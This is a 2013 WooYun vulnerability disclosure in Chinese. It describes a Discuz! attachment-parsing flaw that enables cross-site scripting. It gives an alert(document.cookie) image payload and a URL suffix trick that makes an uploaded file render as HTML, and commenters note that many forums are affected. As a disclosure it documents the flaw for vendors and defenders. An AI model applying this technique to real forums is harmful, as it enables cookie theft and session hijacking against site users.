当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039596

漏洞标题：Discuz!附件解析漏洞导致XSS

相关厂商：Discuz!

漏洞作者： Huc-Unis

提交时间：2013-10-16 19:24

修复时间：2013-10-21 19:25

公开时间：2013-10-21 19:25

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：8

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-16： 细节已通知厂商并且等待厂商处理中
2013-10-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

看下面的说明

详细说明：

这是我在一个论坛上试的，先新建一个php文件，写入XSS代码：

<img src=1 onerror=alert(document.cookie)>


然后保存再将它的后缀名字改成.rar，然后上传附件。点击附件下载，提示即将下：

0.jpg


右键审查元素得到一个类似下面这样附件的地址（这里不是直接在帖子中得到地址而是通过下载提示之后）：

http://xxxxxx.com/forum-attachment-aid-NjEzMTF8Nzk5NWZiMzd8MTM4MTY0NTg2NnwyNjQwNjI%3D-ck-366f8d91.html


漏洞证明：

好了！那么在这个地址后面加上这么一段

-request-文件名.php.html


如下：

http://xxxxxx.com/forum-attachment-aid-NjEzMTF8Nzk5NWZiMzd8MTM4MTY0NTg2NnwyNjQwNjI%3D-ck-366f8d91-request-se.php.html


当作html执行，XSS代码被触发！

03.jpg


修复方案：

具体哪些版本没去看。官方知道的吧~

版权声明：转载请注明来源 Huc-Unis@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-10-21 19:25

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-18 00:58 | Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶，现在通用奖励越来越低了；离买保时捷卡...)

    对了，忘记说了，有些论坛可以不用得到CK的地址，就可以这样咯~目测1.5全中招

  2. 2013-10-18 17:25 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    @Huc-Unis 影响版本有？话说你说附件解析漏洞...可以猜到在哪里...

  3. 2013-10-18 17:42 | jadore ( 路人 | Rank:7 漏洞数:6 | .....)

    @Huc-Unis Discuz!1.5的洞也可以提么

  4. 2013-10-21 20:44 | 小土豆 ( 普通白帽子 | Rank:129 漏洞数:23 )

    貌似很多论坛通杀。。

  5. 2013-10-21 20:55 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    如果作者对DZ不满可以去这里 /corp_detail.php?corp=Discuz!然后选择评分~然后全部放一分~~XDDD

  6. 2013-10-22 02:10 | Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶，现在通用奖励越来越低了；离买保时捷卡...)

    @BadCat 不满不满~~~

  7. 2013-10-22 08:47 | Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)

    目测1.5全中招